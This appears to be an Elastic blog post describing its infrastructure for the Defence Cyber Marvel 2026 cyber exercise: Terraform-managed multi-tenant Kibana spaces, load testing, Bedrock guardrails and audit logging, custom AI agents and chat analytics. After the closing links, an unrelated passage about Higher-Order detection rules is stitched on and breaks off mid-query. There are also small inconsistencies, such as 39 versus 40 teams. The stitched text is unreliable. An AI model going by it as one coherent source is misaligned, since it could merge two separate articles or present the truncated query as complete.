Where to begin. For the fourth consecutive year, Elastic has had the privilege of serving as a trusted industry partner on Exercise Defence Cyber Marvel - the UK Ministry of Defence's flagship cyber exercise series. DCM26 was, without question, the most ambitious iteration yet, and we're chuffed to bits to finally be able to talk about what we built, how we built it, and what we learnt along the way.

What is Defence Cyber Marvel?

For those unfamiliar, Defence Cyber Marvel (DCM) is the largest UK military cyber exercise series that focuses on defending traditional IT networks, corporate environments, and complex industrial control systems in realistic, high-pressure scenarios. It showcases responsible cyber power whilst enhancing readiness, interoperability, and resilience across Defence and allied nations. Now in its fifth year, DCM has evolved from an Army Cyber Association initiative into a tri-service operation led by Cyber and Specialist Operations Command (CSOC).

The UK Government published an official press release for DCM26, which provides an excellent overview of the exercise's strategic importance. As the British High Commissioner to Singapore noted, the exercise demonstrates the deep cooperation between the UK and trusted partners, a reminder of the strength of shared strategic partnerships in an increasingly complex security landscape.

At its core, DCM is a force-on-force cyber exercise: defending Blue Teams protect their assigned networks and infrastructure from attacking Red Teams, using a range of techniques. Activities span changing default passwords and hardening firewalls through to deploying enterprise-grade, AI-powered cyber defence with Elastic Security. The activities of each team are monitored by the White Team to establish a score factoring in system availability, attack detection, incident reporting, and system restoration.. It stretches the most experienced teams whilst also facilitating a unique training mechanism for junior teams on their first exposure to a cyber range, and that dual purpose is what makes DCM such a valuable exercise.

The scale of DCM26

DCM26 brought together over 2,500 personnel from 29 participating countries and 70 organisations, coordinated from a central Exercise Control (EXCON) based out of Singapore, with EXCON hosting over 600 participants. The exercise ran across a hybrid compute environment spanning the CR14 cyber range and AWS, hosting over 5,000 virtual systems.

The exercise itself ran for five days of execution (9–13 February 2026), preceded by optional instructor-led pre-training and connectivity checks. The scenario, built on the Defence Academy Training Environment (DATE) Indo-Pacific Operating Environment, placed teams as Cyber Protection Teams defending deployed military systems during an escalating regional crisis.Blue Teams were geographically dispersed,some in their home locations across the UK and internationally, others deployed overseas, all connecting into the range via VPN.

Participants included representatives from UK Defence, cross-government departments such as the National Crime Agency, the Department for Work and Pensions, the Cabinet Office, and the Department for Business and Trade, alongside international partners forming up to 40 teams. Following the success of last year's exercise in the Republic of Korea, Singapore served as the exercise hub for the first time, reflecting the UK's commitment to deepening cooperation with Indo-Pacific partners on shared security challenges.

In short, it's a serious exercise. High-pressure, force-on-force, with real consequences for scoring and real learning outcomes for every participant.

The deployments: Our Elastic infrastructure

This year's infrastructure represented a significant architectural evolution from previous iterations. Rather than deploying individual Elastic Cloud clusters per team, we moved to a single, space-based multi-tenanted Elastic Cloud deployment for the Blue Teams. We also provided deployments for functions outside of the Blue Teams. Let me break down each deployment and why it exists.

Blue Teams: Multi-tenanted Elastic Security

The centrepiece of our contribution was a single Elastic Cloud deployment serving all 40 defending Blue Teams, separated using Kibana Spaces and datastream namespaces. Each of the 39 teams had its own isolated workspace, including dashboards, agents, and detection rules.

Here's what the Terraform resource looked like for creating each team's space:

# Create 40 Blue Team spaces
resource "elasticstack_kibana_space" "blue_team" {
  count = var.team_count

  space_id    = local.space_ids[count.index]
  name        = "Blue Team ${local.team_numbers[count.index]}"
  description = "Isolated space for BT-${local.team_numbers[count.index]} with space-aware Fleet visibility"

  disabled_features = []
  color             = "#0077CC"
}

Each team's space got a dedicated set of three Fleet agent policies: on day 1a Deployed network policy, day 2, a Host Nation network policy, and finally a PacketCapture policy for network traffic monitoring. The phased access control was elegant in its simplicity: setting enable_hostnation_network = true in our terraform.tfvars and running terraform apply expanded each team's role permissions and made their Host Nation agent policy visible in their space. The exercise went from one network to two without a single manual click in Kibana.

The data isolation relied on datastream namespaces. Each agent policy is written to team-specific namespaces like bt_01_deployed and bt_01_hostnation, producing data streams following the pattern:

logs-system.auth-bt_01_hostnation
logs-system.syslog-bt_01_hostnation
metrics-system.cpu-bt_01_hostnation
logs-endpoint.events.process-bt_01_hostnation
logs-windows.forwarded-bt_01_hostnation
logs-auditd.log-bt_01_hostnation

Each team's Kibana security role was then scoped to only those data streams using dynamic index privilege blocks:

# Deployed data streams (always granted)
indices {
  names = [
    "logs-*-${local.deployed_namespaces[count.index]}",
    "metrics-*-${local.deployed_namespaces[count.index]}",
    ".fleet-*"
  ]
  privileges = ["read", "view_index_metadata"]
}

# HostNation data streams (conditional on enable_hostnation_network)
dynamic "indices" {
  for_each = var.enable_hostnation_network ? [1] : []
  content {
    names = [
      "logs-*-${local.hostnation_namespaces[count.index]}",
      "metrics-*-${local.hostnation_namespaces[count.index]}"
    ]
    privileges = ["read", "view_index_metadata"]
  }
}

Authentication was handled via Keycloak SSO, with Elasticsearch role mappings connecting Keycloak groups to Kibana roles:

resource "elasticstack_elasticsearch_security_role_mapping" "blue_team" {
  count = var.team_count

  name    = "bt-${local.team_numbers[count.index]}-keycloak-mapping"
  enabled = true

  roles = [
    elasticstack_kibana_security_role.blue_team[count.index].name
  ]

  rules = jsonencode({
    field = {
      groups = "${local.keycloak_groups[count.index]}"
    }
  })
}

The default integration policies were simple by design. Each team received: System for core OS telemetry, Elastic Defend for Endpoint Detection and Response, Windows event forwarding, Auditd for Linux audit logging, and Network Packet Capture integrations. That's over 400 integration policies managed as code via the Elastic Stack Terraform Provider.

A note on Elastic Defend: due to the effectiveness of Elastic's endpoint protection - which is trusted in production by the US DOD and IC, read more about that here - and the fact that nobody in their right mind is burning zero-day exploits on a training exercise, we're forced tohandicap Elastic Defend by disabling Prevent mode, leaving it in Detect-only mode. Teams get alerts when something malicious happens, but with no automatic mitigation. We also completely disable Memory Threat Prevention and Detection as this discovers the majority of attacking team implants and beacons, which would rather spoil the game for the Red Teams. Toward the end of the exercise, we allowed the teams the freedom to use Elastic Defend to its full capability, but not before letting the Red Teams get a strong foothold.

We also pre-installed Elastic's prebuilt detection rules into each team space - the full set from Elastic Security Labs, continuously updated in an open repository. These rules were setup to ensure they only queried indices that the team's namespace-scoped permissions allowed, preventing any cross-team data leakage in detection rule execution.

Additionally, each team space had its Security Solution default index configured to scope detection rules to only that team's data streams, rather than the default broad pattern. This was handled by a Terraform null_resource that called the Kibana internal settings API to set securitySolution:defaultIndex for each space.

At peak, this deployment was ingesting 800,000 events per second (EPS) across all 40 teams. That's a serious amount of data, and the cluster handled it comfortably thanks to the autoscaling capabilities of Elastic Cloud. That given, back in 2018 we were doing 5 million events per second with eBay.

Data lifecycle was managed by an Index Lifecycle Management (ILM) policy that rolled indices over after one day or 50 GB (whichever came first), moved them to a warm phase after two days for read-only optimisation and force-merging, and then deleted data after ten days. As a result, the storage costs were minimized while maintaining the exercise window requirements. Below is an example of how the ILM policy was implemented.

resource "elasticstack_elasticsearch_index_lifecycle" "dcm5_10day_retention" {
  name = "dcm5-10day-retention"

  hot {
    min_age = "0ms"

    set_priority {
      priority = 100
    }

    rollover {
      max_age                = "1d"
      max_primary_shard_size = "50gb"
    }
  }

  warm {
    min_age = "2d"

    set_priority {
      priority = 50
    }

    readonly {}

    forcemerge {
      max_num_segments = 1
    }
  }

  delete {
    min_age = "${var.data_retention_days}d"

    delete {
      delete_searchable_snapshot = true
    }
  }
}

The shard stress test: Proving multi-tenancy at scale

Before committing to this architecture for a live military exercise, we needed to prove it would be able to meet our requirements and have an appropriate failover in place in the event of issues. Moving from individual deployments to a single multi-tenanted cluster introduced real risks: resource contention, ingest bottlenecks, data leakage across spaces due to misconfiguration, large TCP connection counts on the Elasticsearch nodes, and a significantly larger shard count since each team generates its own set of indices.

So we built a dedicated testing rig. The plan was straightforward: deploy 50 Kibana Spaces, create an agent policy in each space, launch 6,000 EC2 instances (120 per tenant, across six subnets in three availability zones), and load-test the lot. We monitored everything with AutoOps and Stack Monitoring.

The deployment flow worked like this: Terraform created the VPC and subnets across three availability zones, provisioned the 50 Kibana Spaces and their space-scoped Fleet policies, generated enrolment tokens, and then launched EC2 instances in batches. Each instance installed Elastic Agent on boot and enrolled against its space-specific token.

We hit some interesting challenges along the way. The standard Elastic Stack Terraform Provider didn't support space-aware Fleet operations at the time, so we forked it and added space ID handling to the Fleet resources - without that modification, every agent would have enrolled into the default space regardless of policy assignment. This wasn't the first time we'd had to extend the provider for an exercise; two years ago, for DCM2, we'd added the elasticsearch_cluster_info data source. Fortunately, the upstream provider has since added support for space_ids in version 0.12.2.

We also ran into AWS EC2 API rate limits when trying to spin up all 6,000 instances simultaneously, so we batched deployments at 500 instances with five-minute cool-off periods between batches.

The results were reassuring. All 6,000 agents were typically enrolled within 20 minutes of deployment. In our tests, space isolation worked as expected with no observed data leakage between tenants. Fleet policy updates propagated to all agents within 60 seconds. Search queries scoped to individual spaces remained fast under full load. And the multi-AZ distribution proved resilient during simulated availability zone failures.

This testing gave us the confidence to commit to the architecture for the live exercise.

Red Teams: C2 implant observability

A separate, dedicated Elastic deployment was stood up for the Red Teams, focused on Command and Control (C2) implant observability. This gave the attacking teams visibility into their own operations, including implant status, beacon callbacks, and operational progress, without any risk of cross-pollination with the Blue Team's data. The Red Teams used Tuoni as their C2, which is a framework developed by Clarified Security for red teaming. In DCM3, we worked with Clarified Security to ensure it properly supported the Elastic Common Schema, making future integration with Elastic much easier.

NSOC: Exercise Network Security Operations Centre

The core exercise, Network Security Operations Centre (NSOC), ran on its own Elastic deployment, providing the exercise control staff with an overarching view of range health, security monitoring across the entire infrastructure, and critically, audit logging for all the AI services we deployed. Every Bedrock API invocation was logged in CloudWatch and observable in this deployment, meaning the NSOC had complete visibility into what was being asked to the AI agents and by whom . More on this in the AI section below.

Infrastructure automation: Terraform and Catapult

Everything you've seen above was managed as Infrastructure as Code. Our provider.tf gives a sense of the provider ecosystem we were orchestrating:

terraform {
  required_version = ">= 1.5"

  required_providers {
    elasticstack = {
      source  = "elastic/elasticstack"
      version = "~> 0.13.1"
    }
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
    vault = {
      source  = "hashicorp/vault"
      version = "~> 3.20"
    }
    cloudflare = {
      source  = "cloudflare/cloudflare"
      version = "~> 5.15.0"
    }
  }

  backend "s3" {
    bucket  = "elastic-terraform-state-dcm5"
    key     = "prod/terraform.tfstate"
    region  = "eu-west-2"
    encrypt = true
  }
}

The total resource footprint managed by Terraform was substantial: one Elastic Cloud deployment with autoscaling, 40 Kibana Spaces, 120 Fleet agent policies (three per team), 400+ integration policies, 40 Kibana security roles, 40 Keycloak role mappings, ILM policies for data retention, 41 AWS IAM users for Bedrock GenAI connectors (one per team space plus a default), 41 Kibana GenAI action connectors, AWS Bedrock guardrails, Cloudflare Zero Trust tunnels for Tines access, Tines action connectors per team space, detection service accounts stored in HashiCorp Vault, and per-space Security Solution default index configuration. All state was stored in an encrypted S3 backend.

For the agent and proxy deployment onto the actual range systems, we used Catapult, an excellent open-source tool built by the team at Clarified Security. Catapult wraps Ansible with a container-based execution model that's purpose-built for cyber range deployments. It handled the installation and enrolment of Elastic Agents across the range infrastructure. The configuration of proxy servers (each team had a dedicated Squid proxy for its deployed network, this was to simulate a single point of egress as it would be in the real world. Traffic was routing through endpoints like http://elastic-proxy.dsoc.XX.dcm.ex:3128), and the deployment of Cloudflare tunnels for Tines connectivity.

During provisioning, the following were written to HashiCorp Vault by Terraform and consumed by Catapult: Credentials, enrolment tokens, API keys, proxy configurations, Tines service account credentials.. The Vault paths followed a consistent structure like dcm/gt/elastic/prod/enrollment_tokens/BT-XX-Deployed and dcm/gt/elastic/tines-sa/tines-sa-btXX, making it straightforward for the Catapult playbooks to pull the right credentials for each team.

Training: setting teams up for success

Deploying the platform is one thing; ensuring people can actually use it is another. We provided on-range, instructor-led training to the Blue Teams during the pre-exercise phase. This covered Elastic Security fundamentals, navigating their team space in Kibana, working with the prebuilt detection rules, using Discover for log analysis and threat hunting, building custom dashboards, understanding Elastic Defend alerts, and getting familiar with the Timeline investigation tool.

The exercise instruction itself noted this training was optional but "highly recommended," and from what we saw, the teams who attended absolutely hit the ground running on Day one of execution. Training and enablement are just as important as the technology deployment itself. Handing a team enterprise-grade security tooling which they don't know how to use would'nt have been helpful for anyone.

The On-Range AI service: Compliant, audited, Guardrailed

This year marked our debut in providing AI access to the DCM range. We provided a compliant AI service directly on the range, backed by UK-tenanted AWS Bedrock models - specifically Claude 3.7 Sonnet running in the eu-west-2 (London) region. This wasn't AI for the sake of AI; it was a carefully architected service with guardrails, complete audit logging, and RBAC-aware access controls. We were trusted with running this service due to Elastic's experience in the AI space.

The AI service had multiple consumers on the range, and this is an important distinction. The compliant Bedrock connector we provisioned into each team's space wasn't just powering our custom agents - it also powered Elastic's native AI features, specifically:

Elastic AI Assistant for Security

The Elastic AI Assistant was available in every Blue Team space, connected to our on-range Bedrock connector. This gave teams a context-aware chat interface directly within Elastic Security where they could ask questions about their alerts, get help writing ES|QL queries, investigate suspicious processes, and get guided remediation steps. The AI Assistant uses Retrieval-Augmented Generation (RAG) with Elastic's Knowledge Base feature, which is pre-populated with articles from Elastic Security Labs. Teams could also add their own documents, such as range-specific SOPs, threat intel, or team notes, to the Knowledge Base to further ground the assistant's responses in their operational context.

What made this particularly valuable in the exercise context was the AI Assistant's ability to help less experienced analysts understand what they were looking at. A junior analyst facing their first live implant beacon could ask the assistant to explain the alert, suggest investigation steps, and even help draft the incident report. The data anonymisation settings ensured that sensitive field values could be obfuscated before being sent to the LLM provider.

Elastic Attack Discovery

Attack Discovery was another significant consumer of our on-range AI service. Attack Discovery uses LLMs to analyse alerts in a team's environment and identify threats by correlating alerts, behaviours, and attack paths. Each "discovery" represents a potential attack and describes relationships among multiple alerts - telling teams which users and hosts are involved, how alerts map to the MITRE ATT&CK matrix, and which threat actor might be responsible.

For a cyber exercise in which Red Teams actively launched coordinated attacks, Attack Discovery was transformative. Instead of manually triaging hundreds of individual alerts, Blue Teams could run Attack Discovery to surface the high-level attack narratives, for example, "these 15 alerts are all part of a lateral movement chain from host X to host Y, likely by threat actor Z", and focus their investigation time where it mattered most. It's the kind of capability that directly reduces mean time to respond, and fights alert fatigue, which is precisely what you need when you're under sustained attack for five days straight.

The custom AI agents: Elastic Agent Builder

Beyond the native Elastic AI features, we built three bespoke AI agents using Elastic Agent Builder. Agent Builder is Elastic's framework for building custom AI agents that combine LLM instructions with modular, reusable tools, each tool being an ES|QL query, a built-in search capability, workflow execution, or an external integration via MCP. Agents parse natural language requests, select the appropriate tools, execute them, and iterate until they can provide a complete answer, all while managing context with data inside Elasticsearch. You can read more about the framework in the Agent Builder documentation and the Elasticsearch Labs deep dive.

The three key components of Agent Builder that we leveraged were:

Agents: Custom LLM instructions and a set of assigned tools that define the agent's persona, capabilities, and behaviour boundaries. Each agent has a system prompt that controls its mission, the tools it can access, and the structure of its responses.

Tools: Modular functions that agents use to search, retrieve, and manipulate Elasticsearch data. We built custom ES|QL tools that queried specific indices containing exercise documentation, playbooks, and reports.

Agent Chat: The conversational interface - both the built-in Kibana UI and the programmatic API - that participants used to interact with the agents.

Agent and tool configurations are defined as JSON and managed via the Agent Builder APIs, making the entire agent lifecycle - from prompt engineering to tool binding - reproducible and version-controllable. We'll share the GrantPT agent configuration and tool definitions in a follow-up post for those who want to replicate this approach - watch this space.

Here's what each agent did:

1. GrantPT - The general-purpose assistant

Available to all ~2,500 exercise participants, GrantPT was our primary AI agent and the best demonstration of how straightforward Agent Builder makes it to stand up a capable, domain-specific assistant. The agent's configuration consisted of a JSON object defining its system prompt, persona, and an array of bound tool IDs - that's it. No custom application code, no bespoke API layer, just declarative configuration.

What gave GrantPT its depth was the tooling. We defined a mix of built-in platform tools and custom ES|QL tools, each registered with a description, a parameterised query, and typed parameter definitions. For example, the knowledge base tool accepted a target_index and a semantic query parameter, executing a parameterised ES|QL query against our dcm5-grantpt-* indices with semantic search ranking:

FROM dcm5-grantpt-* METADATA _score, _index
| WHERE _index == ?target_index
| WHERE content: ?query
| SORT _score DESC
| LIMIT 10

A separate index discovery tool let the agent dynamically enumerate available knowledge base indices at the start of each conversation, meaning we could add new documentation indices during the exercise without reconfiguring the agent; it would simply discover them on the next interaction.

We also built a Jira integration tool that performed semantic search across ingested helpdesk tickets, enabling GrantPT to surface relevant troubleshooting context from prior support requests. This was particularly useful for the HelpDesk Analysts, who could ask GrantPT about recurring issues and get responses grounded in actual ticket history rather than generic guidance.

The RBAC-tailored response behaviour came from a combination of the agent's system prompt, which instructed it to contextualise answers based on the user's role, and the underlying Elasticsearch security model. Because each tool's ES|QL query is executed within the user's security context, the agent can only surface documents accessible to the user's role. A Blue Team member asking about exercise procedures would get results scoped to their team's accessible indices, whilst a HelpDesk Analyst would see results from helpdesk-specific indices. The agent didn't need explicit role-switching logic; Elasticsearch's native document-level security handled scoping, and the agent simply worked with whatever results were returned. This is one of the things that makes Agent Builder genuinely elegant - by inheriting Elasticsearch's security model, you get RBAC-aware AI without writing a single line of authorisation code.

2. REDRock - The adversary's companion

This agent was exclusively available to Red Teams. REDRock followed the same Agent Builder pattern, a dedicated system prompt defining its adversarial persona, bound to its own set of custom ES|QL tools querying Red Team-specific indices. These indices contained the Red Team playbooks, Tuoni C2 documentation, known system vulnerabilities within the range environment, and information about deployed services. The tool definitions mirrored the same parameterised semantic search pattern used by GrantPT, but were scoped to indices accessible only to Red Team roles. Red Team operators could query attack vectors, check for known weaknesses in target systems, and get contextual guidance on their operational plans. It was, quite frankly, like giving the attackers an extremely well-briefed operations officer.

3. RefPT - The referee's tool

Built specifically for the White Team (the exercise referees and assessors), RefPT was bound to tools querying indices containing Blue Team reports, scenario events, and the scoring criteria. Its purpose was to ensure uniform and fair scoring across all 40+ teams. The agent's system prompt was tuned to cross-reference submitted reports against known scenario events and scoring rubrics, helping assessors identify inconsistencies or gaps. When you've got assessors evaluating dozens of teams simultaneously, having an AI that can correlate reports against a structured scoring index is genuinely transformative for consistency.

Tines: AI-powered workflow automation

Tines was also a consumer of the on-range AI service. Each Blue Team had a dedicated Tines instance, with Tines action connectors provisioned in their Kibana space. Tines could leverage the Bedrock-backed AI capabilities for intelligent workflow automation, such as automated alert enrichment, AI-assisted triage decisions, natural-language summaries in notification workflows, and natural-language workflow creation. The Tines connector was configured per-team with credentials stored in Vault:

resource "elasticstack_kibana_action_connector" "tines_bt" {
  count = var.team_count

  name              = "BT-${local.team_numbers[count.index]}-Tines"
  connector_type_id = ".tines"
  space_id          = local.space_ids[count.index]

  config = jsonencode({
    url = "https://tines.dsoc.${local.team_numbers[count.index]}.dcm.ex/"
  })
}

Ensuring compliance: Guardrails and audit

Every AI interaction across all of these consumers was governed by strict AWS Bedrock Guardrails. We deployed guardrails with content filtering (hate, insults, sexual content, and violence at MEDIUM thresholds), PII protection (blocking email addresses, phone numbers, names, addresses, UK National Insurance numbers, credit card numbers, and IP addresses), topic-based filtering to prevent discussion of actual classified operations, and profanity filtering. Here's a snippet of the guardrail configuration from our Terraform:

resource "aws_bedrock_guardrail" "dcm5_elastic" {
  name        = "dcm5-prod-elastic-guardrail"
  description = "Guardrails for DCM5 Prod Elastic Kibana GenAI connectors"

  content_policy_config {
    filters_config {
      input_strength  = "MEDIUM"
      output_strength = "MEDIUM"
      type            = "HATE"
    }
    # ... additional content filters for INSULTS, SEXUAL, VIOLENCE
  }

  sensitive_information_policy_config {
    pii_entities_config {
      action = "BLOCK"
      type   = "UK_NATIONAL_INSURANCE_NUMBER"
    }
    pii_entities_config {
      action = "BLOCK"
      type   = "IP_ADDRESS"
    }
    # ... additional PII filters
  }

  topic_policy_config {
    topics_config {
      name       = "classified-information"
      definition = "Discussions about actual classified operations, current real-world military activities, or operational intelligence."
      type       = "DENY"
    }
  }
}

Each Blue Team space had its own IAM user for Bedrock access, and the genAiSettings:defaultAIConnectorOnly Kibana setting was enforced to prevent teams from configuring their own connectors. This meant every single API call could be traced back to a specific team via CloudWatch, and the NSOC had complete audit visibility. The CloudWatch log group /aws/bedrock/grantpt-prod/invocations captured every invocation and guardrail event.

The numbers for all AI consumers speak for themselves: 3 custom AI Agents, 2,797 conversations, and 785 million AI tokens consumed throughout the exercise.

In-game real-time monitoring

Within the exercise scenario, each team had access to RocketChat as their on-range messaging client. Every Blue Team got its own channel, the ability to direct message anyone in the exercise, and the freedom to spin up new channels as needed. Most critically for DCM tradition, this included the memes channel - the spiritual backbone of all inter-team ribbing and the creative morale-boosting humour that inevitably emerges when you put a few thousand cyber operators under pressure for a week.

All of this communication data represented a brilliant real-time window into range health, team sentiment, and the topics trending across the exercise. It felt too good to pass up, so we ingested the entire RocketChat conversation corpus into Elastic in real time and put it to work.

Sentiment analysis and named entity recognition

For named entity recognition, we deployed the dslim/bert-base-NER model from Hugging Face into a machine learning node on the NSOC deployment using the Elastic ELAND client. This was then wired into an Elasticsearch ingest pipeline that every RocketChat message passed through on ingestion. We took the extracted entities and surfaced the most common ones as dashboard themes, giving us a live view of the ebb and flow of conversation topics throughout the exercise.

We also analysed group activity, user statistics, and general communication patterns to build a picture of life patterns for each team - most active participants, message volume over time, and sentiment trends pivoted by individual users. All told, it gave us some genuinely interesting insight into what was happening on the range in near real time. When we switched Elastic Agent into Prevent mode, for instance, a word cloud on our dashboard immediately lit up with "Elastic" as the most discussed theme across all channels - Blue Teams discussing its effectiveness, Red Teams lamenting their lost beacons. Rather satisfying, that.

Meme analysis (yes, really)

Finally - and this one raised a few eyebrows - we pulled every meme submitted to the channels, vectorised the images, and ran nearest-neighbour evaluations to cluster similar memes and topics together. We also passed them through the zero-shot NER inference model to generate thematic descriptions of each meme's content. The logic was that these outputs might prove useful later for filtering, moderation, or other in-game interactions. Whether the meme analysis yielded operationally critical intelligence is debatable. Whether it was good fun is not.

Nipping problems in the bud

As much as we hoped everything would run smoothly during exercise week, things inevitably break, aren't fully understood, or need further customisation to suit how a particular team wants to use them. For this, we had our own subsection of the in-range helpdesk where Elastic and GenAI-specific requests could be raised by any team.

We manned this helpdesk for the entire duration of the exercise, providing guidance, documentation, issue debugging, and range-specific recommendations. That last point is worth expanding on. Sometimes, what a Blue Team was seeing in Elastic wasn't actually an Elastic problem at all, but rather Elastic faithfully surfacing something on the range that warranted further investigation (Red Teams can cause absolute mayhem, and the telemetry doesn't lie). Over the course of the exercise, we covered 125 individual support requests from teams specifically asking for help from us at Elastic.

Pre-emptive debugging with Tines

Beyond visiting teams via VTC or in person at EXCON, we also worked with Tines to try something a bit more proactive. We pulled the ticket body from incoming requests, attempted to categorise the problem, ran the categorisation against our corpus of previously resolved tickets, and had GenAI produce a summarised first-pass response aimed at solving the user's issue before triage brought it to our queue.

This is actually a pattern we borrowed from our own support organisation at Elastic, where we provide a similar capability using our extensive knowledge base of previously solved issues as a repository for supporting AI Agent context. The idea is straightforward: use past solutions to give a machine-generated, informed first stab at resolving a problem, and short-circuit the need for a support engineer to pick up every ticket manually. It didn't solve everything; some issues genuinely needed a human with range context, but it meaningfully reduced the queue pressure and got faster answers to the teams who needed them. This was such a success with our own specific tickets and queue that we actually extended the remit to the entire helpdesk in the latter part of the exercise, helping to reduce the load on the other groups in the Green team supporting the exercise.

Industry partnerships: Better together

One of the things we're most proud of is how our partnership ecosystem has grown year on year. DCM is not just an Elastic show; it's a genuine coalition of industry partners, each bringing something unique to the security platform.

Year 1 (DCM2) - Elastic joined as an industry partner, providing the security monitoring and endpoint detection platform.

Year 2 (DCM3) - We brought in Endace, providing 1:1 packet capture capability. Full packet capture alongside Elastic's network visibility gave teams the ability to conduct deep-dive forensics that log-based analysis alone can't provide.

Year 3 (DCM4) - Tines joined the family, bringing workflow automation to the table. Blue Teams could now build automated response playbooks, triage workflows, and notification chains, all integrated directly into their Elastic environment via the native Tines connector.

Year 4 (DCM26, formerly DCM5) - AWS came on board, providing Bedrock access for our AI agents and contributing funding towards the Elastic deployments. This was a significant milestone; having a hyperscaler directly invested in the exercise's success unlocked capabilities (such as compliant, UK-tenanted AI inference with full guardrails and audit logging) that simply wouldn't have been possible otherwise. Tines' integration this year was also enhanced by the addition of on-range access to LLMs. The DCM series also reached a milestone this year, transitioning from its origins as an Army Cyber Association initiative to an officially funded programme under Cyber and Specialist Operations Command.

To the teams at Endace, Tines, and AWS - sincere thanks. This exercise is better because of your contributions, and all Teams are better equipped because of the platform we've built together. We're already planning for DCM27. Cheers to the lot of you.

Culture, highlights, and the bits that make it worthwhile

The Challenge Coins

We had custom challenge coins minted for DCM26. If you know, you know, challenge coins are a long-standing military tradition, and having one made for the exercise felt like the right way to mark our fourth year of involvement.

The cocktail party

We were also grateful to be invited to the High Commission cocktail party hosted by the British High Commissioner to Singapore. There's something quite surreal about discussing Elasticsearch shard counts and Terraform state management whilst holding a gin and tonic at the ambassador's invitation. It was a brilliant evening, a genuine reminder that these exercises exist at the intersection of technology and diplomacy, and that the relationships built here extend well beyond the technical.

Wrapping up

The multi-tenanted architecture proved itself under sustained load; the native Elastic AI features (AI Assistant and Attack Discovery) gave teams capabilities that would have been science fiction a few years ago; and the custom AI agents exceeded our expectations for adoption. The partnership model continues to demonstrate that industry involvement in defence exercises creates outcomes that no single organisation could achieve alone.

Defence Cyber Marvel 2026 was a landmark iteration of an exercise that continues to grow in ambition, complexity, and impact. For Elastic, being trusted to provide the core defensive security platform for 40 Blue Teams from 29 nations, and this year, the AI capability as well, is something we don't take lightly. The exercise develops real skills for real people who will go on to defend real networks, and being a part of that mission is genuinely meaningful.

As the UK Government's press release put it, DCM demonstrates the practical value of real-life scenarios that reinforce international partnerships. We couldn't agree more.

We'll be back next year, and I suspect we'll have even more to talk about. In the meantime, we'll continue to improve the product so that support for environments such as Defence Cyber Marvel excels year over year.

See you on the range.

Follow the DCM26 story on social media:

Facebook | LinkedIn | Instagram

Further reading

Elastic Security & AI

• Elastic Security - The platform powering the Blue Team deployments
• AI Assistant for Security - Context-aware AI chat within Elastic Security
• Attack Discovery - LLM-powered alert correlation and threat narrative generation
• Agent Builder - Framework for building custom AI agents with Elasticsearch

Infrastructure & Tooling

• Elastic Stack Terraform Provider - Infrastructure as Code for the Elastic Stack
• Elastic Fleet Guide - Centrally managing Elastic Agents at scale
• Catapult by Clarified Security - Ansible-based cyber range provisioning

Exercise Context

• UK Government DCM26 Press Release - Official overview of the exercise

The result is powerful visibility but also significant alert volume. From our telemetry, even when considering only non Building Block Rules, 65 unique detection rules generate nearly 8000 alerts per day per production cluster. Analyzing each alert in isolation is neither scalable nor cost-effective.

This is where Higher-Order Rules come into play.

Higher-order rules do not detect a single behavior. Instead, they correlate related alerts over time, across data sources, or within a shared context (such as host, user, IP, or process). By grouping signals into meaningful patterns, we can prioritize what truly matters and reduce the need for deep, expensive analysis on every individual alert whether performed manually, automated, or augmented by AI.

In this blog, we’ll walk through our approach to building Higher-Order Rules in Elastic, share practical examples, and highlight key lessons learned along the way.

What Are Higher-Order Rules?

Higher-Order Rules (HOR) are detections that use alerts as input, either correlating alerts with other alerts (alert-on-alert) or combining alerts with additional data such as raw events, metrics, or contextual telemetry.

Unlike atomic rules that detect a single behavior, Higher-Order Rules identify patterns across signals. Their purpose is not to replace base detections, but to elevate combinations of findings that are more likely to represent real attack activity. In practice, they surface higher-confidence findings and improve triage prioritization. Higher-Order rules are designed to work alongside Building Block Rules. Building block rules generate alerts that do not appear in the default alerts view, reducing noise while still feeding correlated detections. Many of the base rules referenced in this article can be also configured as building block rules, so that only Higher-Order correlations surface for analyst review.

The core insight is that independent detections converging on the same entity compound confidence, where each additional signal multiplies the likelihood that the activity is real, not benign.These three design principles operationalize that insight:

1. Entity-Based Correlation

Rules correlate activity by shared entities such as host, user, source IP, destination IP, or process - allowing analysts to quickly see when multiple findings converge on the same asset or identity.

2. Cross–Data Source Visibility

Some rules operate within a single integration (for example, endpoint-only detections from Elastic Defend or third-party EDR). Others intentionally combine signals across domains endpoint with network (PANW, FortiGate, Suricata), endpoint with email, or endpoint with system metrics to capture multi-stage or cross-surface activity.

3. Time and Prevalence Awareness

Temporal logic plays a key role.

Newly observed rules highlight the first occurrence of a given alert within a defined lookback window (for example, five days), ensuring that even a single rare alert is surfaced for review.

Prevalence-based logic (such as using INLINE STATS) filters for alerts that occur on only a small number of hosts globally, helping reduce noise and emphasize anomalous behavior.

The full set of Higher-Order Rules spans endpoint-only correlations, cross-domain detections (endpoint + network, endpoint + email), lateral movement patterns (for example, alert_1 host.ip = alert_2 source.ip), ATT&CK-aligned groupings (single or multi-tactic activity), newly observed alerts, and alert-to-event correlation (such as alerts combined with abnormal CPU metrics). The following sections walk through representative examples from these categories.

Correlation and Newly Observed Higher-Order Rules

In practice, high-risk activity does not always look the same.

Sometimes compromise reveals itself through multiple converging signals. Other times, it appears as a single alert that has never been seen before.

To handle both realities, we organize our Higher-Order Rules into three complementary patterns:

• Correlation rules multiple alerts or events linked to a shared entity (host, user, IP, or process).
• Newly observed rules a single alert that is rare or first-seen within a defined time window.
• Hybrid patterns combining correlation with first-seen logic, which can further elevate suspicion and surface particularly interesting activity.

Correlation rules raise confidence through signal density and diversity: when several independent detections point to the same entity, the likelihood of real malicious activity increases.

Newly observed rules address the opposite case, low volume but high novelty. They prioritize alerts based on rarity over time, ensuring that first-time or highly unusual detections are not overlooked simply because they occur once.

Together, these approaches form the foundation of an efficient and scalable triage strategy.

Let’s dive into examples and explore the differences, strengths, and trade-offs of each pattern.

Endpoint Alerts Correlation

A significant portion of real-world attack discovery comes from endpoint telemetry. It provides rich context process activity, command lines, file behavior, and user actions making it one of the most powerful detection sources.

At the same time, endpoint environments are dynamic. Legitimate software, admin tools, and third-party applications (and recently GenAI endpoint utilities 🥲) can generate high alert volume and false positives, requiring continuous tuning.

Higher-Order correlation helps address this by shifting the focus from individual alerts to multiple distinct signals on the same host or process increasing confidence while reducing unnecessary investigation effort.

The following ES|QL query triggers when there are 3 unique Elastic Defend behavior rules OR alerts from different features (e.g. one shellcode_thread with behavior, malicious_file with behavior) OR more than 2 malware alerts in a 24h time Window from the same host:

from logs-endpoint.alerts-* metadata _id
